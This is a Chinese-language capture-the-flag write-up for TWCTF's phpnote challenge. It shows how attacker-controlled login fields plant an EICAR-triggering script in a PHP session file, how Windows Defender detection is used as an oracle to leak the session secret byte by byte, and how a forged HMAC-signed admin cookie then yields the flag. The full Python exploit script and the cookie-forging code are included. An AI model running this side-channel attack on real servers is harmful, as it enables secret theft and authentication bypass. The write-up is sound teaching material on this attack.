前言

前几天打了一下由tokyowesterns举办的TWCTF,感觉phpnote这题还是不错的,一个全新的知识点,比赛的时候没有解出来,赛后问了一下梅子酒才知道这个是用windows-defender测信道攻击,下面记录一下解题过程

前置知识

Windows Defender介绍

来自WIKI

Windows Defender(Windows 10创意者更新后名为Windows Defender Antivirus),曾用名Microsoft AntiSpyware,最初是用来移除、隔离和预防间谍软件的程序,可以运行在Windows XP以及更高版本的操作系统上,并已经内置在Windows Vista以及以后的版本中。Windows Defender的定义库更新很频繁。在Windows 8及之后的系统中取代Microsoft Security Essentials,成为一款全面反病毒软件。

关于 mpengine.dll

TokyoWesterns在PPT上是这么描述的

image.png
image.png

mpengine.dllWindows Defender核心的ddl文件,其中它包含了JS引擎,它继承了JS的一些基础语法,其中它支持eval函数,但是它会对eval函数的参数进行检测,如果发现恶意数据则会进行拦截

Windows-Defender触发机制

在WCTF2019上TokyoWesterns出了一个关于Windows Defender侧信道攻击的题目,赛后分享的PPT地址为:链接

Defender对文件的检测行为如下(摘自TokyoWesterns的PPT):

image.png
image.png

所以我们第一步是要找到能触发Windows Defender检测机制的文件,EICAR测试文件可以做到这一点,关于EICAR测试文件的解释如下(参考链接):

1
欧洲计算机防病毒研究所 (EICAR) 开发了一种测试病毒,可用于测试您的防病毒设备。此脚本是一个惰性文本文件。二进制特征码包含在多数防病毒产品供应商的病毒码文件中。它本质上不是病毒,并且不包含任何程序代码。

我们可以从上面的参考链接中下载到这样的一个EICAR测试文件

1
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

然后我们在本地测试一下看看会不会拦截

image.png
image.png

可以明显看到被拦截了,但是如果把这个字符破坏掉就不会被拦截,所以我们可以利用Windows Defender这一点来进行侧信道攻击

phpnote

从注释中得到

1
http://phpnote.chal.ctf.westerns.tokyo/?action=source

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
<?php
include 'config.php';

class Note {
public function __construct($admin) {
$this->notes = array();
$this->isadmin = $admin;
}

public function addnote($title, $body) {
array_push($this->notes, [$title, $body]);
}

public function getnotes() {
return $this->notes;
}

public function getflag() {
if ($this->isadmin === true) {
echo FLAG;
}
}
}

function verify($data, $hmac) {
$secret = $_SESSION['secret'];
if (empty($secret)) return false;
return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}

function hmac($data) {
$secret = $_SESSION['secret'];
if (empty($data) || empty($secret)) return false;
return hash_hmac('sha256', $data, $secret);
}

function gen_secret($seed) {
return md5(SALT . $seed . PEPPER);
}

function is_login() {
return !empty($_SESSION['secret']);
}

function redirect($action) {
header("Location: /?action=$action");
exit();
}

$method = $_SERVER['REQUEST_METHOD'];
$action = $_GET['action'];

if (!in_array($action, ['index', 'login', 'logout', 'post', 'source', 'getflag'])) {
redirect('index');
}

if ($action === 'source') {
highlight_file(__FILE__);
exit();
}


session_start();

if (is_login()) {
$realname = $_SESSION['realname'];
$nickname = $_SESSION['nickname'];

$note = verify($_COOKIE['note'], $_COOKIE['hmac'])
? unserialize(base64_decode($_COOKIE['note']))
: new Note(false);
}

if ($action === 'login') {
if ($method === 'POST') {
$nickname = (string)$_POST['nickname'];
$realname = (string)$_POST['realname'];

if (empty($realname) || strlen($realname) < 8) {
die('invalid name');
}

$_SESSION['realname'] = $realname;
if (!empty($nickname)) {
$_SESSION['nickname'] = $nickname;
}
$_SESSION['secret'] = gen_secret($nickname);
}
redirect('index');
}

if ($action === 'logout') {
session_destroy();
redirect('index');
}

if ($action === 'post') {
if ($method === 'POST') {
$title = (string)$_POST['title'];
$body = (string)$_POST['body'];
$note->addnote($title, $body);
$data = base64_encode(serialize($note));
setcookie('note', (string)$data);
setcookie('hmac', (string)hmac($data));
}
redirect('index');
}

if ($action === 'getflag') {
$note->getflag();
}

?>
//.....省略部分源码....

关键代码如下

1
2
3
4
5
6
7
8
9
function verify($data, $hmac) {
$secret = $_SESSION['secret'];
if (empty($secret)) return false;
return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}
//....省略.....
$note = verify($_COOKIE['note'], $_COOKIE['hmac'])
? unserialize(base64_decode($_COOKIE['note']))
: new Note(false);

从上面代码可以看出cookie里面数据是经过签名校验的,但是我们secret不知道,所以直接伪造cookie这条路走不通了,由于php的session是以文件的形式保存的,也就是说我们可以把我们的恶意数据注入到session的文件中,从而触发Windows Defender的检测机制,但是我们怎么控制session文件内容呢,我们先看一下session文件保存的内容

我们用下面代码测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
define(SALT,"test");
define(PEPPER, "test");
function gen_secret($seed) {
return md5(SALT . $seed . PEPPER);
}
session_start();
$nickname = "rootroot";
$realname = "adminadminadmin";
if (empty($realname) || strlen($realname) < 8) {
die('invalid name');
}
$_SESSION['realname'] = $realname;
if (!empty($nickname)) {
$_SESSION['nickname'] = $nickname;
}
$_SESSION['secret'] = gen_secret($nickname);
?>

session文件内容如下,第一次我们先postnickname为空,因为nickname是在secret先设置,如果我们不设置nickname为空,nickname的值会出现secret,导致我们注入恶意数据读取不了secret,我们可以看一下两者的区别
第一次postnickname值不为空时

1
realname|s:15:"adminadminadmin";nickname|s:8:"rootroot";secret|s:32:"70034bb522e6f77c6f3e88d18b86c6df";

第一次postnickname值为空时,第二次post个rootroot

1
realname|s:15:"adminadminadmin";secret|s:32:"70034bb522e6f77c6f3e88d18b86c6df";nickname|s:8:"rootroot";

然后nicknamerealname的值我们可以控,所以我们可以在这两个值之间注入我们的恶意数据,例如realname<script>xxxxxx</script><body>,然后nickname为:
闭合之后就是

1
<script>xxxxxx</script><body>";secret|s:32:"70034bb522e6f77c6f3e88d18b86c6df";nickname|s:8:"</body>";

然后刚好secret在body标签内

1
<body>";secret|s:32:"70034bb522e6f77c6f3e88d18b86c6df";nickname|s:8:"</body>

这意味着我们可以利用document.body.innerHTML读到我们的secret

梳理一下攻击步骤,大致步骤如下:

  1. 向session文件中注入恶意数据
  2. 利用Windows-Defender的检测机制,然后观察是否返回正常,如果检测的到恶意数据的话会登陆失败,否则则登陆成功
  3. realnamenickname之间嵌入JS脚本,然后逐字节泄露secret

改一下作者原来在WCTF上Gyotaku的脚本,跑一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests

url = "http://phpnote.chal.ctf.westerns.tokyo/?action="

def randstr(n=8):
import random
import string
chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
return ''.join([random.choice(chars) for _ in range(n)])

def trigger(c, idx):
import string
prefix = randstr()
p = prefix + '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script><body>'''
payload = string.Template(p).substitute({'idx': idx, 'c': c})
session = requests.session()
data_1 = {
"nickname": "",
"realname": "aaaaaaaaaaaaaaaaaaaaaa"
}
session.post(url + "login", data=data_1)
data_2 = {
"nickname": "</body>",
"realname": payload
}
resp=session.post(url + "login", data=data_2)
if "Welcome" not in resp.text:
return True

def leak(idx):
l, h = 0, 0x100
while h - l > 1:
m = (h + l) // 2
flags = trigger(m, idx)
if flags:
l = m
else:
h = m
return chr(l)

data = ''
for i in range(50):
data += leak(i)
print(data)

跑一会,secret就跑出来了

image.png
image.png

然后再用secret签名一下数据就能getflag了

1
2
3
4
5
6
7
$secret = "2532bd172578d19923e5348420e02320";
$note = new Note(true);
$note->addnote("abc","abc");
$data = base64_encode(serialize($note));
echo $data.PHP_EOL;
echo hash_hmac('sha256', $data, $secret).PHP_EOL;
var_dump(verify($data,hash_hmac('sha256', $data, $secret)));

改一下cookie访问http://phpnote.chal.ctf.westerns.tokyo/?action=getflag就能getflag

TWCTF{h0pefully_I_haven't_made_a_m1stake_again}

Reference

https://westerns.tokyo/wctf2019-gtf/wctf2019-gtf-slides.pdf
https://meizjm3i.github.io/2019/08/01/%E5%88%A9%E7%94%A8Windows%20Defender%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB/